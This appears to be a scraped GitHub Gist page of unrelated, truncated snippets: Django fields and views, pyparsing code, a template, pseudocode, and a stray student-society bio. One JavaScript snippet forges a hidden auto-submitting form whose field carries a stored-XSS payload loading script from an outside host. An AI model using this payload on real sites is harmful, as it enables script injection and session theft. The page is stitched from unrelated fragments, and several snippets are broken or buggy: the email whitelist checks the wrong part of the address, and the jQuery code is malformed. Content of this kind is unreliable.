Skip to content

Instantly share code, notes, and snippets.

class RangeField(m.IntegerField):
def __init__(self, min_value, max_value, step=None, *args, **kwargs):
validators = kwargs.setdefault("validators",[])
validators += [MinValueValidator(min_value), MaxValueValidator(max_value)]
if step:
validators.append(StepValidator(min_value, step))
super(RangeField, self).__init__(*args, **kwargs)
@graingert
graingert / application.views.py
Created April 16, 2012 11:44
django-browserid
from django_browserid.views import Verify
from django_browserid.auth import BrowserIDBackend
class EmailNotWhitelistedError(Exception):
pass
def create_user(email):
if email.rsplit('@', 1)[0] in ("ecs.soton.ac.uk","soton.ac.uk"):
print email
return BrowserIDBackend().create_user(email)
As the only regularly attending pair of breasts in the society it seemed fitting that I should act as the society’s foreign secretary in the role of Vice President. This is a relatively new position but I expect to spend my time infiltrating potentially sympathetic societies and lulling the other religious societies into a false sense of security before luring them into hard headed debate!
When I am not helping to spread a web of secular tolerance I enjoy cooking and baking, I also spend my time reading science fiction and catching up on the most recent films. My latest hobby is crochet and after completing a scarf and hat I am well on my way to a blanket!
@graingert
graingert / gist:2830859
Created May 29, 2012 21:32
Finding a communications tree 4
doF()
if waitB is 0 and no unlabelled pins
send B to Parent //Tell parent we’re done
else
send F down next unlabelled pin //Move onto the next child pin
label pin Child
waitB++ //Now we have to wait for yet another pin to finish
return
CASE F: //Only accept parenthood if we haven’t already got a parent
from django.conf.urls import url, patterns, include
from django.contrib import admin
#from django.contrib.staticfiles.urls import staticfiles_urlpatterns we don't do it like this no more
from apps.hs_member.views import ReservationCreateView
admin.autodiscover()
urlpatterns = patterns('',
url(r'^$', ReservationCreateView.as_view(), name="index"),
)
var form = document.createElement("form", {action: "/dashboard", method: "POST", style: "display: none", onsubmit: "return false;"});
form.appendChild(document.createElement("input", {type: "hidden", name: "21", value: "<IMG \"\"\"><SCRIPT SRC=\"//danpalmer.me/s/lkd.js\"></SCRIPT>\">"}));
document.body.appendChild(form);
form.submit();
{% regroup pfpdiscipline by task_date.week as curricula_groups %}
{% for curricula in curricula_groups %}
<h3>Week {{ curricula.grouper }}</h3>
{% for curriculum in curricula.list %}
{% if forloop.first %}
<h4>{{ curriculum.task_date.day|length }}</h4>
<table id="tableid-{{ forloop.counter }}" class="table table-bordered">
<thead>
<tr>
<th>Day</th>
from pyparsing import Forward, Word, nums, delimitedList, Optional, StringStart, StringEnd, Group, Literal
list = Forward()
expr = Word(nums)("multiplier") + Group(Literal('(').suppress() + list + Literal(')').suppress())("list")
list << delimitedList(Group(expr) | Word(nums)("rawnum"))
prog = StringStart() + list + StringEnd()
print list.parseString("1,2,3")
print prog.parseString("1,2,3")
info = prog.parseString("5(1,2,3(1,2))")
print info
from pyparsing import Forward, Word, nums, delimitedList, Optional, StringStart, StringEnd, Group, Literal
list = Forward()
expr = Word(nums)("multiplier") + Group(Literal('(').suppress() + list + Literal(')').suppress())("list")
list << delimitedList(Group(expr) | Word(nums)("rawnum"))
prog = StringStart() + list + StringEnd()
print list.parseString("1,2,3")
print prog.parseString("1,2,3")
info = prog.parseString("5(1,2,3(1,2))")
print info
("input[type=submit][name=_method][value=DELETE]").submit(function(event){
event.preventDefault();
$('#myModal .btn-danger').unbind("click").click(function(){
delete the item
$('#myModel').model("hide");
}
$('#myModel').model("show");